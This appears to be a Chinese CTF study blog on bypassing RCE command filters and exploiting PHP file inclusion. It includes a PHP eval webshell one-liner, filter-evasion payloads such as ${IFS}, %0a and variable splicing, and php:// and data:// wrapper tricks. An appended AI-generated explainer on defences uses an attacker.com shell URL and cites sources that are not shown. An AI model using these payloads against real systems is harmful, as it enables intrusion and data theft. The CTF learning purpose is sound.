RCE过滤及文件包含

有关RCE的题目

BUUCTF pingpingping
ctfhub RCE

过滤的思考

RCE命令执行<?php @eval(GET['cmd']); ?>。一句话木马可以执行PHP函数来找到flag。
命令执行phpinfo()中的disable_function函数可以查看被过滤的函数。

本地执行

var_dump()函数

以下函数都要在var_dump()函数内执行

  • scandir()
  • file_get_contents()
  • readfile()

无参数函数执行

system()调用外部命令的过滤

管道符的妙用

; & && | ||:这些管道符衔接其他命令可以执行一些Linux代码
||:直接衔接Linux命令实现跳出ping,可见如下博客
buuctf_LinuxRCE_Ping Ping Ping

;分号被过滤

分号被过滤,使用%0a绕过

cat被过滤

ca\t:利用正则表达式的\,\后面跟正常字符

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

以上都被过滤还有grepLinux的grep

空格被过滤

可以使用<>绕过,或者在url中使用%09(Tab),%20(space)
${IFS}$IFS$9进行绕过.

flag被过滤

利用通配符来绕过:

匹配任何字符串/文本,包括空字符串;
*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符

利用拼接绕过:
在linux下:a=who;b=ami;$a$b等效于执行whoami
我们只要在定义时候把flag的顺序调整一下就好了即:b=ag;a=fl;$a$b
跑一下是试试看:xxxx/?ip=||b=ag;a=fl;cat$IFS$9$a$b.php

文件包含

文件包含漏洞

?file=文件 可能存在文件包含漏洞和PHP中有include函数出现

漏洞利用–封装协议

因为漏洞的存在,我们可以从中获取我们想要得到的资源。CTF中常用的php伪协议利用

  1. 读取敏感本地文件
    方法:直接打开敏感文件;利用一句话木马<?php @eval($_POST['attack']);?>获得更大操作权限
  2. PHP封装协议
    1. ?file=php://filter/read=convert.base64-encode/resource=config.php它可以读取对应文件源代码,得到的结果经过Base64解密后得到的是config.php源代码
    2. ?file=php://input 写入PHP文件。它受限于allow_url_include选项。php://input可以读取没有处理过的POST数据。
      在这里插入图片描述
    ?file=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,d2VsY29tZSB0byB0aGUgempjdGY=是welcome to the zjctf。它和http://input一样都可以把一些内容写入其中。
$file = $_GET["file"];

$content1 = file_get_contents($file,'r');
echo $content1;  // 输出结果是:welcome to the ctf

$content2 = file_get_contents('php://input');
echo $content2;  // 输出结果是:welcome to the ctf

4.file:///var/www/html/flag.php读取本地文件,路径要是相对路径。可用于读取web目录下的文件。

参考博客

RCE漏洞之绕过
pingpingping
命令执行(RCE)面对各种过滤,骚姿势绕过总结

<think>好的,我现在需要回答用户关于RCE文件包含漏洞的原理及防御措施的问题。首先,我需要回忆一下文件包含漏洞的基本概念和相关知识。文件包含漏洞通常分为本地文件包含(LFI)和远程文件包含(RFI),而RCE可能指的是远程代码执行,但用户提到的“RCE文件包含漏洞”可能是指通过文件包含导致的远程代码执行。需要确认这两者的关系,但通常RFI可以导致RCE。 接下来,我需要查找文件包含漏洞的原理。根据引用[2]中提到,这种漏洞发生在应用程序使用动态文件包含的情况下,攻击者需要满足两个条件:一是应用程序未对用户输入进行严格验证,二是包含的文件路径可控。这可能涉及到用户输入的参数被直接用于包含文件,如PHP中的include、require等函数。 然后,防御措施方面,引用[1]提到需要输入验证、减少对外部参数的依赖、使用绝对路径等。例如,对用户输入的文件名进行白名单校验,限制包含路径,或者禁用远程文件包含功能。同时,引用[3]中给出的例子是设置安全配置,比如Tomcat的AJP密钥,这可能与特定服务器的配置相关,但同样强调了安全配置的重要性。 用户的问题可能希望了解文件包含漏洞如何导致远程代码执行,以及如何防御。需要将原理部分详细说明,比如攻击者如何通过包含恶意文件执行代码,特别是在RFI的情况下,攻击者可以远程服务器上的文件,导致代码执行。防御措施则需要综合引用中的建议,包括输入验证、路径限制、安全配置等。 另外,用户提供的引用中有一些关于文件包含漏洞的防御措施,可能需要整合这些信息,例如输入验证和绝对路径的使用,同时结合禁用不必要的动态包含功能。需要确保回答的结构清晰,先讲原理,再讲防御措施,最后相关问题。同时注意使用正确的LaTeX格式,如变量用$...$,独立公式用$$...$$,但在这个问题中可能数学公式较少,但如果有涉及变量或代码的地方需要正确标注。 最后,生成相关问题时要考虑用户可能进一步想知道的内容,比如如何检测漏洞、实际案例或具体配置方法等。确保问题相关且有引导性。</think>### RCE文件包含漏洞原理及防御措施 #### 1. 漏洞原理 **文件包含漏洞**分为本地文件包含(LFI)和远程文件包含(RFI)。其核心原理是应用程序未对用户输入的文件路径进行严格校验,直接将其用于动态包含文件(如PHP的`include`、`require`函数)。攻击者可通过构造恶意路径实现以下攻击: - **本地文件包含(LFI)**:读取服务器敏感文件(如`/etc/passwd`)[^2]。 - **远程文件包含(RFI)**:通过包含远程服务器上的恶意脚本(如`http://attacker.com/shell.php`),触发远程代码执行(RCE)。 **触发条件**: 1. 应用程序使用动态文件包含功能且未过滤输入(如`include($_GET['file'])`)。 2. 包含路径可被用户控制(如通过URL参数传递文件名)。 #### 2. 防御措施 **① 输入验证与过滤** - 对用户输入的文件名进行白名单校验,仅允许特定字符或固定后缀(如`.php`)。 - 使用正则表达式过滤`../`等路径遍历字符,防止越权访问。 **② 限制文件包含范围** - 使用绝对路径而非相对路径,例如: ```php include(__DIR__ . '/templates/' . $file); // 限制包含目录为/templates/ ``` - 禁用远程文件包含功能(如PHP中设置`allow_url_include=Off`)。 **③ 最小化动态包含依赖** - 避免直接使用外部参数(如`$_GET`、`$_POST`)作为包含路径,改用固定映射关系(如通过`switch`语句匹配预设文件名)[^1]。 **④ 安全配置与加固** - 设置Web服务器权限,限制敏感目录的读写权限。 - 定期更新应用程序和服务器环境,修复已知漏洞(如Tomcat AJP协议的安全配置[^3])。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值